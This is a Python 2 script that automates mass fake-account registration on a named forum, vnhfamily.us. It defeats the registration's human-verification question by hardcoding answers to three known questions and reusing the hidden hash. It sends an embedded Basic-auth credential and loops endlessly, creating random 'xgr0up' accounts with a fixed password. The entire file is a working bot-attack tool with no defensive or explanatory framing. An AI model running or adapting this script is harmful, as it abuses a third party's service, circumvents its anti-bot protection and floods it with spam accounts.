vnh.py

# -*- coding: utf-8 -*-

import httplib
import urllib
import sys
import re
from random import randrange
import time

taikhoan = 0

def step1():
    global hiddenkey
    global traloi
    params1 = urllib.urlencode({'s':'',
            'securitytoken': 'guest',
            'do': 'register',
            'url':'http://vnhfamily.us/forum/',
            'month':'',
            'day':'',
            'year':'',
            'who':'adult',
            'agree':'1'})

    lenth = len(params1)

    headers1 =  ({"Host": "vnhfamily.us",
                    "User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0",
                    "Referer": "http://vnhfamily.us/forum/register.php?do=signup",
                    "Cookie": "PHPSESSID=%s"%sid,
                    "Authorization": "Basic Vk5IOlZOSA==",
                    "Connection": "keep-alive",
                    "Content-type": "application/x-www-form-urlencoded",
                    "Content-Length": "%s"%lenth})

    conn1 = httplib.HTTPConnection("www.vnhfamily.us",80)
    conn1.request("POST", "/forum/register.php?do=register", params1, headers1)
    response1 = conn1.getresponse()
    print "Status : %s" % response1.status, response1.reason
    print "Detect Security Code and Security Hash"
    data = response1.read()
    hiddenkey = re.search('name="humanverify\[hash\]" value="(.*)" />',data)
    Ans = re.search('<label for="humanverify">(.*)</label>',data)
    if Ans:
        cauhoi = Ans.group(1)
    else:
        print "Detect Security Code Error\nExit"
        exit(1)
    print "Security Code: %s" % (cauhoi)
    print "Security Hash: %s" % (hiddenkey.group(1))
    conn1.close()
    if cauhoi == '1+1=?':
        traloi = '2'
    if cauhoi == 'Nước Việt Nam Có Hình Dáng Giống Chữ Cái Nào?':
        traloi = 's'
    if cauhoi == 'Ngày - Tháng - Năm Sinh Của Chủ Tịch Hồ Chí Minh ? (Được phân định bởi dấu "/")':
        traloi = '19/5/1890'
    print "Bypass Security Code Ok"
    print "Answer is: %s" % (traloi)

def step2():
    i = randrange(9999)
    user = 'xgr0up%s' % (i)
    email = 'xgr0up%s@gmail.com' % (i)
    c_email = 'xgr0up%s@gmail.com' % (i)

    print "UserName: %s" % user
    print "Email: %s" % email

    params = urllib.urlencode({'s':'',
            'securitytoken': 'guest',
            'do': 'addmember',
            'url':'http://vnhfamily.us/forum/index.php',
            'agree':'1',
            'password_md5':'1f5d020ac0ce982f5846897871b6b5ec',
            'passwordconfirm_md5':'1f5d020ac0ce982f5846897871b6b5ec',
            'day':'0',
            'month':'0',
            'year':'0',
            'username':'%s'%(user),
            'password':'',
            'passwordconfirm':'',
            'email':'%s'%(email),
            'emailconfirm':'%s'%(c_email),
            'humanverify[input]':'%s'%(traloi),
            'humanverify[hash]':'%s'%(hiddenkey.group(1)),
            'referrername':'',
            'timezoneoffset':'7',
            'dst':'2',
            'options[adminemail]':'1'})
    lenth = len(params)

    headers =   ({
                    "Host": "vnhfamily.us",
                    "User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0",
                    "Referer": "http://vnhfamily.us/forum/register.php?do=register",
                    "Cookie": "PHPSESSID=%s"%sid,
                    "Authorization": "Basic Vk5IOlZOSA==",
                    "Connection": "keep-alive",
                    "Content-type": "application/x-www-form-urlencoded",
                    "Content-Length": "%s"%lenth})
    print "Start Register User %s" % user
    print "Please Wait ..."
    conn = httplib.HTTPConnection("www.vnhfamily.us",80)
    conn.request("POST", "/forum/register.php?do=addmember", params, headers)
    response = conn.getresponse()
    print "Status : %s" % response.status, response.reason
    print "Registered Successfully User: %s" % user
    print "================================================================================"
    conn.close()

if __name__ == "__main__":
    while True:
        if len(sys.argv) != 2:
            print "error"
            exit(0)
        sid = sys.argv[1]
        step1()
        time.sleep( 1 )
        step2()
        taikhoan = taikhoan + 1
        print "Registered %s User\n" % taikhoan
        print "================================================================================"
        time.sleep( 2 )